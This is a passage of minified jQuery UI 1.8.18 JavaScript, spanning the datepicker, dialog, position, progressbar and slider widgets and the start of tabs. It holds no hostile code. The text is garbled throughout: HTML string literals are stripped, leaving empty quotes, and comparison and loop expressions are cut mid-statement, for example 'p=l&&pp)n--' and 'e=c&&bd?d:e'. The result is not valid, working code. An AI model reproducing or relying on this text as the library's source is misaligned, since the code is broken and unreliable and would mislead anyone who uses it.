d.input[0]!="object"&&d.input.focus(),this._lastInput=null)},_updateAlternate:function(a){var b=this._get(a,"altField");if(b){var c=this._get(a,"altFormat")||this._get(a,"dateFormat"),d=this._getDate(a),e=this.formatDate(c,d,this._getFormatConfig(a));$(b).each(function(){$(this).val(e)})}},noWeekends:function(a){var b=a.getDay();return[b>0&&b<6,""]},iso8601Week:function(a){var b=new Date(a.getTime());b.setDate(b.getDate()+4-(b.getDay()||7));var c=b.getTime();b.setMonth(0),b.setDate(1);return Math.floor(Math.round((c-b)/864e5)/7)+1},parseDate:function(a,b,c){if(a==null||b==null)throw"Invalid arguments";b=typeof b=="object"?b.toString():b+"";if(b=="")return null;var d=(c?c.shortYearCutoff:null)||this._defaults.shortYearCutoff;d=typeof d!="string"?d:(new Date).getFullYear()%100+parseInt(d,10);var e=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,f=(c?c.dayNames:null)||this._defaults.dayNames,g=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,h=(c?c.monthNames:null)||this._defaults.monthNames,i=-1,j=-1,k=-1,l=-1,m=!1,n=function(b){var c=s+1-1){j=1,k=l;for(;;){var u=this._getDaysInMonth(i,j-1);if(k<=u)break;j++,k-=u}}var t=this._daylightSavingAdjust(new Date(i,j-1,k));if(t.getFullYear()!=i||t.getMonth()+1!=j||t.getDate()!=k)throw"Invalid date";return t},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(718685+Math.floor(492.5)-Math.floor(19.7)+Math.floor(4.925))*24*60*60*1e7,formatDate:function(a,b,c){if(!b)return"";var d=(c?c.dayNamesShort:null)||this._defaults.dayNamesShort,e=(c?c.dayNames:null)||this._defaults.dayNames,f=(c?c.monthNamesShort:null)||this._defaults.monthNamesShort,g=(c?c.monthNames:null)||this._defaults.monthNames,h=function(b){var c=m+112?a.getHours()+2:0);return a},_setDate:function(a,b,c){var d=!b,e=a.selectedMonth,f=a.selectedYear,g=this._restrictMinMax(a,this._determineDate(a,b,new Date));a.selectedDay=a.currentDay=g.getDate(),a.drawMonth=a.selectedMonth=a.currentMonth=g.getMonth(),a.drawYear=a.selectedYear=a.currentYear=g.getFullYear(),(e!=a.selectedMonth||f!=a.selectedYear)&&!c&&this._notifyChange(a),this._adjustInstDate(a),a.input&&a.input.val(d?"":this._formatDate(a))},_getDate:function(a){var b=!a.currentYear||a.input&&a.input.val()==""?null:this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return b},_generateHTML:function(a){var b=new Date;b=this._daylightSavingAdjust(new Date(b.getFullYear(),b.getMonth(),b.getDate()));var c=this._get(a,"isRTL"),d=this._get(a,"showButtonPanel"),e=this._get(a,"hideIfNoPrevNext"),f=this._get(a,"navigationAsDateFormat"),g=this._getNumberOfMonths(a),h=this._get(a,"showCurrentAtPos"),i=this._get(a,"stepMonths"),j=g[0]!=1||g[1]!=1,k=this._daylightSavingAdjust(a.currentDay?new Date(a.currentYear,a.currentMonth,a.currentDay):new Date(9999,9,9)),l=this._getMinMaxDate(a,"min"),m=this._getMinMaxDate(a,"max"),n=a.drawMonth-h,o=a.drawYear;n<0&&(n+=12,o--);if(m){var p=this._daylightSavingAdjust(new Date(m.getFullYear(),m.getMonth()-g[0]*g[1]+1,m.getDate()));p=l&&pp)n--,n<0&&(n=11,o--)}a.drawMonth=n,a.drawYear=o;var q=this._get(a,"prevText");q=f?this.formatDate(q,this._daylightSavingAdjust(new Date(o,n-i,1)),this._getFormatConfig(a)):q;var r=this._canAdjustMonth(a,-1,o,n)?''+q+"":e?"":''+q+"",s=this._get(a,"nextText");s=f?this.formatDate(s,this._daylightSavingAdjust(new Date(o,n+i,1)),this._getFormatConfig(a)):s;var t=this._canAdjustMonth(a,1,o,n)?''+s+"":e?"":''+s+"",u=this._get(a,"currentText"),v=this._get(a,"gotoCurrent")&&a.currentDay?k:b;u=f?this.formatDate(u,v,this._getFormatConfig(a)):u;var w=a.inline?"":'",x=d?'
    '+(c?w:"")+(this._isInRange(a,v)?'":"")+(c?"":w)+"
    ":"",y=parseInt(this._get(a,"firstDay"),10);y=isNaN(y)?0:y;var z=this._get(a,"showWeek"),A=this._get(a,"dayNames"),B=this._get(a,"dayNamesShort"),C=this._get(a,"dayNamesMin"),D=this._get(a,"monthNames"),E=this._get(a,"monthNamesShort"),F=this._get(a,"beforeShowDay"),G=this._get(a,"showOtherMonths"),H=this._get(a,"selectOtherMonths"),I=this._get(a,"calculateWeek")||this.iso8601Week,J=this._getDefaultDate(a),K="";for(var L=0;L1)switch(N){case 0:Q+=" ui-datepicker-group-first",P=" ui-corner-"+(c?"right":"left");break;case g[1]-1:Q+=" ui-datepicker-group-last",P=" ui-corner-"+(c?"left":"right");break;default:Q+=" ui-datepicker-group-middle",P=""}Q+='">'}Q+='
    '+(/all|left/.test(P)&&L==0?c?t:r:"")+(/all|right/.test(P)&&L==0?c?r:t:"")+this._generateMonthYearHeader(a,n,o,l,m,L>0||N>0,D,E)+'
    '+"";var R=z?'":"";for(var S=0;S<7;S++){var T=(S+y)%7;R+="=5?' class="ui-datepicker-week-end"':"")+">"+''+C[T]+""}Q+=R+"";var U=this._getDaysInMonth(o,n);o==a.selectedYear&&n==a.selectedMonth&&(a.selectedDay=Math.min(a.selectedDay,U));var V=(this._getFirstDayOfMonth(o,n)-y+7)%7,W=Math.ceil((V+U)/7),X=j?this.maxRows>W?this.maxRows:W:W;this.maxRows=X;var Y=this._daylightSavingAdjust(new Date(o,n,1-V));for(var Z=0;Z";var _=z?'":"";for(var S=0;S<7;S++){var ba=F?F.apply(a.input?a.input[0]:null,[Y]):[!0,""],bb=Y.getMonth()!=n,bc=bb&&!H||!ba[0]||l&&Ym;_+='",Y.setDate(Y.getDate()+1),Y=this._daylightSavingAdjust(Y)}Q+=_+""}n++,n>11&&(n=0,o++),Q+="
    '+this._get(a,"weekHeader")+"
    '+this._get(a,"calculateWeek")(Y)+""+(bb&&!G?" ":bc?''+Y.getDate()+"":''+Y.getDate()+"")+"
    "+(j?""+(g[0]>0&&N==g[1]-1?'
    ':""):""),M+=Q}K+=M}K+=x+($.browser.msie&&parseInt($.browser.version,10)<7&&!a.inline?'':""),a._keyEvent=!1;return K},_generateMonthYearHeader:function(a,b,c,d,e,f,g,h){var i=this._get(a,"changeMonth"),j=this._get(a,"changeYear"),k=this._get(a,"showMonthAfterYear"),l='
    ',m="";if(f||!i)m+=''+g[b]+"";else{var n=d&&d.getFullYear()==c,o=e&&e.getFullYear()==c;m+='"}k||(l+=m+(f||!i||!j?" ":""));if(!a.yearshtml){a.yearshtml="";if(f||!j)l+=''+c+"";else{var q=this._get(a,"yearRange").split(":"),r=(new Date).getFullYear(),s=function(a){var b=a.match(/c[+-].*/)?c+parseInt(a.substring(1),10):a.match(/[+-].*/)?r+parseInt(a,10):parseInt(a,10);return isNaN(b)?r:b},t=s(q[0]),u=Math.max(t,s(q[1]||""));t=d?Math.max(t,d.getFullYear()):t,u=e?Math.min(u,e.getFullYear()):u,a.yearshtml+='",l+=a.yearshtml,a.yearshtml=null}}l+=this._get(a,"yearSuffix"),k&&(l+=(f||!i||!j?" ":"")+m),l+="
    ";return l},_adjustInstDate:function(a,b,c){var d=a.drawYear+(c=="Y"?b:0),e=a.drawMonth+(c=="M"?b:0),f=Math.min(a.selectedDay,this._getDaysInMonth(d,e))+(c=="D"?b:0),g=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(d,e,f)));a.selectedDay=g.getDate(),a.drawMonth=a.selectedMonth=g.getMonth(),a.drawYear=a.selectedYear=g.getFullYear(),(c=="M"||c=="Y")&&this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min"),d=this._getMinMaxDate(a,"max"),e=c&&bd?d:e;return e},_notifyChange:function(a){var b=this._get(a,"onChangeMonthYear");b&&b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){var b=this._get(a,"numberOfMonths");return b==null?[1,1]:typeof b=="number"?[1,b]:b},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-this._daylightSavingAdjust(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,d){var e=this._getNumberOfMonths(a),f=this._daylightSavingAdjust(new Date(c,d+(b<0?b:e[0]*e[1]),1));b<0&&f.setDate(this._getDaysInMonth(f.getFullYear(),f.getMonth()));return this._isInRange(a,f)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min"),d=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!d||b.getTime()<=d.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a,"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,d){b||(a.currentDay=a.selectedDay,a.currentMonth=a.selectedMonth,a.currentYear=a.selectedYear);var e=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(d,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),e,this._getFormatConfig(a))}}),$.fn.datepicker=function(a){if(!this.length)return this;$.datepicker.initialized||($(document).mousedown($.datepicker._checkExternalClick).find("body").append($.datepicker.dpDiv),$.datepicker.initialized=!0);var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget" ))return $.datepicker["_"+a+"Datepicker"].apply($.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return $.datepicker["_"+a+"Datepicker"].apply($.datepicker,[this[0]].concat(b));return this.each(function(){typeof a=="string"?$.datepicker["_"+a+"Datepicker"].apply($.datepicker,[this].concat(b)):$.datepicker._attachDatepicker(this,a)})},$.datepicker=new Datepicker,$.datepicker.initialized=!1,$.datepicker.uuid=(new Date).getTime(),$.datepicker.version="1.8.18",window["DP_jQuery_"+dpuuid]=$}(jQuery),function(a,b){var c="ui-dialog ui-widget ui-widget-content ui-corner-all ",d={buttons:!0,height:!0,maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0,width:!0},e={maxHeight:!0,maxWidth:!0,minHeight:!0,minWidth:!0},f=a.attrFn||{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0,click:!0};a.widget("ui.dialog",{options:{autoOpen:!0,buttons:{},closeOnEscape:!0,closeText:"close",dialogClass:"",draggable:!0,hide:null,height:"auto",maxHeight:!1,maxWidth:!1,minHeight:150,minWidth:150,modal:!1,position:{my:"center",at:"center",collision:"fit",using:function(b){var c=a(this).css(b).offset().top;c<0&&a(this).css("top",b.top-c)}},resizable:!0,show:null,stack:!0,title:"",width:300,zIndex:1e3},_create:function(){this.originalTitle=this.element.attr("title"),typeof this.originalTitle!="string"&&(this.originalTitle=""),this.options.title=this.options.title||this.originalTitle;var b=this,d=b.options,e=d.title||" ",f=a.ui.dialog.getTitleId(b.element),g=(b.uiDialog=a("
    ")).appendTo(document.body).hide().addClass(c+d.dialogClass).css({zIndex:d.zIndex}).attr("tabIndex",-1).css("outline",0).keydown(function(c){d.closeOnEscape&&!c.isDefaultPrevented()&&c.keyCode&&c.keyCode===a.ui.keyCode.ESCAPE&&(b.close(c),c.preventDefault())}).attr({role:"dialog","aria-labelledby":f}).mousedown(function(a){b.moveToTop(!1,a)}),h=b.element.show().removeAttr("title").addClass("ui-dialog-content ui-widget-content").appendTo(g),i=(b.uiDialogTitlebar=a("
    ")).addClass("ui-dialog-titlebar ui-widget-header ui-corner-all ui-helper-clearfix").prependTo(g),j=a('').addClass("ui-dialog-titlebar-close ui-corner-all").attr("role","button").hover(function(){j.addClass("ui-state-hover")},function(){j.removeClass("ui-state-hover")}).focus(function(){j.addClass("ui-state-focus")}).blur(function(){j.removeClass("ui-state-focus")}).click(function(a){b.close(a);return!1}).appendTo(i),k=(b.uiDialogTitlebarCloseText=a("")).addClass("ui-icon ui-icon-closethick").text(d.closeText).appendTo(j),l=a("").addClass("ui-dialog-title").attr("id",f).html(e).prependTo(i);a.isFunction(d.beforeclose)&&!a.isFunction(d.beforeClose)&&(d.beforeClose=d.beforeclose),i.find("*").add(i).disableSelection(),d.draggable&&a.fn.draggable&&b._makeDraggable(),d.resizable&&a.fn.resizable&&b._makeResizable(),b._createButtons(d.buttons),b._isOpen=!1,a.fn.bgiframe&&g.bgiframe()},_init:function(){this.options.autoOpen&&this.open()},destroy:function(){var a=this;a.overlay&&a.overlay.destroy(),a.uiDialog.hide(),a.element.unbind(".dialog").removeData("dialog").removeClass("ui-dialog-content ui-widget-content").hide().appendTo("body"),a.uiDialog.remove(),a.originalTitle&&a.element.attr("title",a.originalTitle);return a},widget:function(){return this.uiDialog},close:function(b){var c=this,d,e;if(!1!==c._trigger("beforeClose",b)){c.overlay&&c.overlay.destroy(),c.uiDialog.unbind("keypress.ui-dialog"),c._isOpen=!1,c.options.hide?c.uiDialog.hide(c.options.hide,function(){c._trigger("close",b)}):(c.uiDialog.hide(),c._trigger("close",b)),a.ui.dialog.overlay.resize(),c.options.modal&&(d=0,a(".ui-dialog").each(function(){this!==c.uiDialog[0]&&(e=a(this).css("z-index"),isNaN(e)||(d=Math.max(d,e)))}),a.ui.dialog.maxZ=d);return c}},isOpen:function(){return this._isOpen},moveToTop:function(b,c){var d=this,e=d.options,f;if(e.modal&&!b||!e.stack&&!e.modal)return d._trigger("focus",c);e.zIndex>a.ui.dialog.maxZ&&(a.ui.dialog.maxZ=e.zIndex),d.overlay&&(a.ui.dialog.maxZ+=1,d.overlay.$el.css("z-index",a.ui.dialog.overlay.maxZ=a.ui.dialog.maxZ)),f={scrollTop:d.element.scrollTop(),scrollLeft:d.element.scrollLeft()},a.ui.dialog.maxZ+=1,d.uiDialog.css("z-index",a.ui.dialog.maxZ),d.element.attr(f),d._trigger("focus",c);return d},open:function(){if(!this._isOpen){var b=this,c=b.options,d=b.uiDialog;b.overlay=c.modal?new a.ui.dialog.overlay(b):null,b._size(),b._position(c.position),d.show(c.show),b.moveToTop(!0),c.modal&&d.bind("keydown.ui-dialog",function(b){if(b.keyCode===a.ui.keyCode.TAB){var c=a(":tabbable",this),d=c.filter(":first"),e=c.filter(":last");if(b.target===e[0]&&!b.shiftKey){d.focus(1);return!1}if(b.target===d[0]&&b.shiftKey){e.focus(1);return!1}}}),a(b.element.find(":tabbable").get().concat(d.find(".ui-dialog-buttonpane :tabbable").get().concat(d.get()))).eq(0).focus(),b._isOpen=!0,b._trigger("open");return b}},_createButtons:function(b){var c=this,d=!1,e=a("
    ").addClass("ui-dialog-buttonpane ui-widget-content ui-helper-clearfix"),g=a("
    ").addClass("ui-dialog-buttonset").appendTo(e);c.uiDialog.find(".ui-dialog-buttonpane").remove(),typeof b=="object"&&b!==null&&a.each(b,function(){return!(d=!0)}),d&&(a.each(b,function(b,d){d=a.isFunction(d)?{click:d,text:b}:d;var e=a('').click(function(){d.click.apply(c.element[0],arguments)}).appendTo(g);a.each(d,function(a,b){a!=="click"&&(a in f?e[a](b):e.attr(a,b))}),a.fn.button&&e.button()}),e.appendTo(c.uiDialog))},_makeDraggable:function(){function f(a){return{position:a.position,offset:a.offset}}var b=this,c=b.options,d=a(document),e;b.uiDialog.draggable({cancel:".ui-dialog-content, .ui-dialog-titlebar-close",handle:".ui-dialog-titlebar",containment:"document",start:function(d,g){e=c.height==="auto"?"auto":a(this).height(),a(this).height(a(this).height()).addClass("ui-dialog-dragging"),b._trigger("dragStart",d,f(g))},drag:function(a,c){b._trigger("drag",a,f(c))},stop:function(g,h){c.position=[h.position.left-d.scrollLeft(),h.position.top-d.scrollTop()],a(this).removeClass("ui-dialog-dragging").height(e),b._trigger("dragStop",g,f(h)),a.ui.dialog.overlay.resize()}})},_makeResizable:function(c){function h(a){return{originalPosition:a.originalPosition,originalSize:a.originalSize,position:a.position,size:a.size}}c=c===b?this.options.resizable:c;var d=this,e=d.options,f=d.uiDialog.css("position"),g=typeof c=="string"?c:"n,e,s,w,se,sw,ne,nw";d.uiDialog.resizable({cancel:".ui-dialog-content",containment:"document",alsoResize:d.element,maxWidth:e.maxWidth,maxHeight:e.maxHeight,minWidth:e.minWidth,minHeight:d._minHeight(),handles:g,start:function(b,c){a(this).addClass("ui-dialog-resizing"),d._trigger("resizeStart",b,h(c))},resize:function(a,b){d._trigger("resize",a,h(b))},stop:function(b,c){a(this).removeClass("ui-dialog-resizing"),e.height=a(this).height(),e.width=a(this).width(),d._trigger("resizeStop",b,h(c)),a.ui.dialog.overlay.resize()}}).css("position",f).find(".ui-resizable-se").addClass("ui-icon ui-icon-grip-diagonal-se")},_minHeight:function(){var a=this.options;return a.height==="auto"?a.minHeight:Math.min(a.minHeight,a.height)},_position:function(b){var c=[],d=[0,0],e;if(b){if(typeof b=="string"||typeof b=="object"&&"0"in b)c=b.split?b.split(" "):[b[0],b[1]],c.length===1&&(c[1]=c[0]),a.each(["left","top"],function(a,b){+c[a]===c[a]&&(d[a]=c[a],c[a]=b)}),b={my:c.join(" "),at:c.join(" "),offset:d.join(" ")};b=a.extend({},a.ui.dialog.prototype.options.position,b)}else b=a.ui.dialog.prototype.options.position;e=this.uiDialog.is(":visible"),e||this.uiDialog.show(),this.uiDialog.css({top:0,left:0}).position(a.extend({of:window},b)),e||this.uiDialog.hide()},_setOptions:function(b){var c=this,f={},g=!1;a.each(b,function(a,b){c._setOption(a,b),a in d&&(g=!0),a in e&&(f[a]=b)}),g&&this._size(),this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option",f)},_setOption:function(b,d){var e=this,f=e.uiDialog;switch(b){case"beforeclose":b="beforeClose";break;case"buttons":e._createButtons(d);break;case"closeText":e.uiDialogTitlebarCloseText.text(""+d);break;case"dialogClass":f.removeClass(e.options.dialogClass).addClass(c+d);break;case"disabled":d?f.addClass("ui-dialog-disabled"):f.removeClass("ui-dialog-disabled");break;case"draggable":var g=f.is(":data(draggable)");g&&!d&&f.draggable("destroy"),!g&&d&&e._makeDraggable();break;case"position":e._position(d);break;case"resizable":var h=f.is(":data(resizable)");h&&!d&&f.resizable("destroy"),h&&typeof d=="string"&&f.resizable("option","handles",d),!h&&d!==!1&&e._makeResizable(d);break;case"title":a(".ui-dialog-title",e.uiDialogTitlebar).html(""+(d||" "))}a.Widget.prototype._setOption.apply(e,arguments)},_size:function(){var b=this.options,c,d,e=this.uiDialog.is(":visible");this.element.show().css({width:"auto",minHeight:0,height:0}),b.minWidth>b.width&&(b.width=b.minWidth),c=this.uiDialog.css({height:"auto",width:b.width}).height(),d=Math.max(0,b.minHeight-c);if(b.height==="auto")if(a.support.minHeight)this.element.css({minHeight:d,height:"auto"});else{this.uiDialog.show();var f=this.element.css("height","auto").height();e||this.uiDialog.hide(),this.element.height(Math.max(f,d))}else this.element.height(Math.max(b.height-c,0));this.uiDialog.is(":data(resizable)")&&this.uiDialog.resizable("option","minHeight",this._minHeight())}}),a.extend(a.ui.dialog,{version:"1.8.18",uuid:0,maxZ:0,getTitleId:function(a){var b=a.attr("id");b||(this.uuid+=1,b=this.uuid);return"ui-dialog-title-"+b},overlay:function(b){this.$el=a.ui.dialog.overlay.create(b)}}),a.extend(a.ui.dialog.overlay,{instances:[],oldInstances:[],maxZ:0,events:a.map("focus,mousedown,mouseup,keydown,keypress,click".split(","),function(a){return a+".dialog-overlay"}).join(" "),create:function(b){this.instances.length===0&&(setTimeout(function(){a.ui.dialog.overlay.instances.length&&a(document).bind(a.ui.dialog.overlay.events,function(b){if(a(b.target).zIndex()").addClass("ui-widget-overlay")).appendTo(document.body).css({width:this.width(),height:this.height()});a.fn.bgiframe&&c.bgiframe(),this.instances.push(c);return c},destroy:function(b){var c=a.inArray(b,this.instances);c!=-1&&this.oldInstances.push(this.instances.splice(c,1)[0]),this.instances.length===0&&a([document,window]).unbind(".dialog-overlay"),b.remove();var d=0;a.each(this.instances,function(){d=Math.max(d,this.css("z-index"))}),this.maxZ=d},height:function(){var b,c;if(a.browser.msie&&a.browser.version<7){b=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight),c=Math.max(document.documentElement.offsetHeight,document.body.offsetHeight);return b0?b.left-e:Math.max(b.left-c.collisionPosition.left,b.left)},top:function(b,c){var d=a(window),e=c.collisionPosition.top+c.collisionHeight-d.height()-d.scrollTop();b.top=e>0?b.top-e:Math.max(b.top-c.collisionPosition.top,b.top)}},flip:{left:function(b,c){if(c.at[0]!==e){var d=a(window),f=c.collisionPosition.left+c.collisionWidth-d.width()-d.scrollLeft(),g=c.my[0]==="left"?-c.elemWidth:c.my[0]==="right"?c.elemWidth:0,h=c.at[0]==="left"?c.targetWidth:-c.targetWidth,i=-2*c.offset[0];b.left+=c.collisionPosition.left<0?g+h+i:f>0?g+h+i:0}},top:function(b,c){if(c.at[1]!==e){var d=a(window),f=c.collisionPosition.top+c.collisionHeight-d.height()-d.scrollTop(),g=c.my[1]==="top"?-c.elemHeight:c.my[1]==="bottom"?c.elemHeight:0,h=c.at[1]==="top"?c.targetHeight:-c.targetHeight,i=-2*c.offset[1];b.top+=c.collisionPosition.top<0?g+h+i:f>0?g+h+i:0}}}},a.offset.setOffset||(a.offset.setOffset=function(b,c){/static/.test(a.curCSS(b,"position"))&&(b.style.position="relative");var d=a(b),e=d.offset(),f=parseInt(a.curCSS(b,"top",!0),10)||0,g=parseInt(a.curCSS(b,"left",!0),10)||0,h={top:c.top-e.top+f,left:c.left-e.left+g};"using"in c?c.using.call(b,h):d.css(h)},a.fn.offset=function(b){var c=this[0];if(!c||!c.ownerDocument)return null;if(b)return this.each(function(){a.offset.setOffset(this,b)});return h.call(this)}),function(){var b=document.getElementsByTagName("body")[0],c=document.createElement("div"),d,e,g,h,i;d=document.createElement(b?"div":"body"),g={visibility:"hidden",width:0,height:0,border:0,margin:0,background:"none"},b&&a.extend(g,{position:"absolute",left:"-1000px",top:"-1000px"});for(var j in g)d.style[j]=g[j];d.appendChild(c),e=b||document.documentElement,e.insertBefore(d,e.firstChild),c.style.cssText="position: absolute; left: 10.7432222px; top: 10.432325px; height: 30px; width: 201px;",h=a(c).offset(function(a,b){return b}).offset(),d.innerHTML="",e.removeChild(d),i=h.top+h.left+(b?2e3:0),f.fractions=i>21&&i<22}()}(jQuery),function(a,b){a.widget("ui.progressbar",{options:{value:0,max:100},min:0,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.options.max,"aria-valuenow":this._value()}),this.valueDiv=a("
    ").appendTo(this.element),this.oldValue=this._value(),this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"),this.valueDiv.remove(),a.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===b)return this._value();this._setOption("value",a);return this},_setOption:function(b,c){b==="value"&&(this.options.value=c,this._refreshValue(),this._value()===this.options.max&&this._trigger("complete")),a.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;typeof a!="number"&&(a=0);return Math.min(this.options.max,Math.max(this.min,a))},_percentage:function(){return 100*this._value()/this.options.max},_refreshValue:function(){var a=this.value(),b=this._percentage();this.oldValue!==a&&(this.oldValue=a,this._trigger("change")),this.valueDiv.toggle(a>this.min).toggleClass("ui-corner-right",a===this.options.max).width(b.toFixed(0)+"%"),this.element.attr("aria-valuenow",a)}}),a.extend(a.ui.progressbar,{version:"1.8.18"})}(jQuery),function(a,b){var c=5;a.widget("ui.slider",a.ui.mouse,{widgetEventPrefix:"slide",options:{animate:!1,distance:0,max:100,min:0,orientation:"horizontal",range:!1,step:1,value:0,values:null},_create:function(){var b=this,d=this.options,e=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),f="",g=d.values&&d.values.length||1,h=[];this._keySliding=!1,this._mouseSliding=!1,this._animateOff=!0,this._handleIndex=null,this._detectOrientation(),this._mouseInit(),this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget"+" ui-widget-content"+" ui-corner-all"+(d.disabled?" ui-slider-disabled ui-disabled":"")),this.range=a([]),d.range&&(d.range===!0&&(d.values||(d.values=[this._valueMin(),this._valueMin()]),d.values.length&&d.values.length!==2&&(d.values=[d.values[0],d.values[0]])),this.range=a("
    ").appendTo(this.element).addClass("ui-slider-range ui-widget-header"+(d.range==="min"||d.range==="max"?" ui-slider-range-"+d.range:"")));for(var i=e.length;ic&&(f=c,g=a(this),i=b)}),c.range===!0&&this.values(1)===c.min&&(i+=1,g=a(this.handles[i])),j=this._start(b,i);if(j===!1)return!1;this._mouseSliding=!0,h._handleIndex=i,g.addClass("ui-state-active").focus(),k=g.offset(),l=!a(b.target).parents().andSelf().is(".ui-slider-handle"),this._clickOffset=l?{left:0,top:0}:{left:b.pageX-k.left-g.width()/2,top:b.pageY-k.top-g.height()/2-(parseInt(g.css("borderTopWidth"),10)||0)-(parseInt(g.css("borderBottomWidth"),10)||0)+(parseInt(g.css("marginTop"),10)||0)},this.handles.hasClass("ui-state-hover")||this._slide(b,i,e),this._animateOff=!0;return!0},_mouseStart:function(a){return!0},_mouseDrag:function(a){var b={x:a.pageX,y:a.pageY},c=this._normValueFromMouse(b);this._slide(a,this._handleIndex,c);return!1},_mouseStop:function(a){this.handles.removeClass("ui-state-active"),this._mouseSliding=!1,this._stop(a,this._handleIndex),this._change(a,this._handleIndex),this._handleIndex=null,this._clickOffset=null,this._animateOff=!1;return!1},_detectOrientation:function(){this.orientation=this.options.orientation==="vertical"?"vertical":"horizontal"},_normValueFromMouse:function(a){var b,c,d,e,f;this.orientation==="horizontal"?(b=this.elementSize.width,c=a.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)):(b=this.elementSize.height,c=a.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)),d=c/b,d>1&&(d=1),d<0&&(d=0),this.orientation==="vertical"&&(d=1-d),e=this._valueMax()-this._valueMin(),f=this._valueMin()+d*e;return this._trimAlignValue(f)},_start:function(a,b){var c={handle:this.handles[b],value:this.value()};this.options.values&&this.options.values.length&&(c.value=this.values(b),c.values=this.values());return this._trigger("start",a,c)},_slide:function(a,b,c){var d,e,f;this.options.values&&this.options.values.length?(d=this.values(b?0:1),this.options.values.length===2&&this.options.range===!0&&(b===0&&c>d||b===1&&c1)this.options.values[b]=this._trimAlignValue(c),this._refreshValue(),this._change(null,b);else{if(!arguments.length)return this._values();if(!a.isArray(arguments[0]))return this.options.values&&this.options.values.length?this._values(b):this.value();d=this.options.values,e=arguments[0];for(f=0;f=this._valueMax())return this._valueMax();var b=this.options.step>0?this.options.step:1,c=(a-this._valueMin())%b,d=a-c;Math.abs(c)*2>=b&&(d+=c>0?b:-b);return parseFloat(d.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var b=this.options.range,c=this.options,d=this,e=this._animateOff?!1:c.animate,f,g={},h,i,j,k;this.options.values&&this.options.values.length?this.handles.each(function(b,i){f=(d.values(b)-d._valueMin())/(d._valueMax()-d._valueMin())*100,g[d.orientation==="horizontal"?"left":"bottom"]=f+"%",a(this).stop(1,1)[e?"animate":"css"](g,c.animate),d.options.range===!0&&(d.orientation==="horizontal"?(b===0&&d.range.stop(1,1)[e?"animate":"css"]({left:f+"%"},c.animate),b===1&&d.range[e?"animate":"css"]({width:f-h+"%"},{queue:!1,duration:c.animate})):(b===0&&d.range.stop(1,1)[e?"animate":"css"]({bottom:f+"%"},c.animate),b===1&&d.range[e?"animate":"css"]({height:f-h+"%"},{queue:!1,duration:c.animate}))),h=f}):(i=this.value(),j=this._valueMin(),k=this._valueMax(),f=k!==j?(i-j)/(k-j)*100:0,g[d.orientation==="horizontal"?"left":"bottom"]=f+"%",this.handle.stop(1,1)[e?"animate":"css"](g,c.animate),b==="min"&&this.orientation==="horizontal"&&this.range.stop(1,1)[e?"animate":"css"]({width:f+"%"},c.animate),b==="max"&&this.orientation==="horizontal"&&this.range[e?"animate":"css"]({width:100-f+"%"},{queue:!1,duration:c.animate}),b==="min"&&this.orientation==="vertical"&&this.range.stop(1,1)[e?"animate":"css"]({height:f+"%"},c.animate),b==="max"&&this.orientation==="vertical"&&this.range[e?"animate":"css"]({height:100-f+"%"},{queue:!1,duration:c.animate}))}}),a.extend(a.ui.slider,{version:"1.8.18"})}(jQuery),function(a,b){function f(){return++d}function e(){return++c}var c=0,d=0;a.widget("ui.tabs",{options:{add:null,ajaxOptions:null,cache:!1,cookie:null,collapsible:!1,disable:null,disabled:[],enable:null,event:"click",fx:null,idPrefix:"ui-tabs-",load:null,panelTemplate:"
    ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
  • #{label}
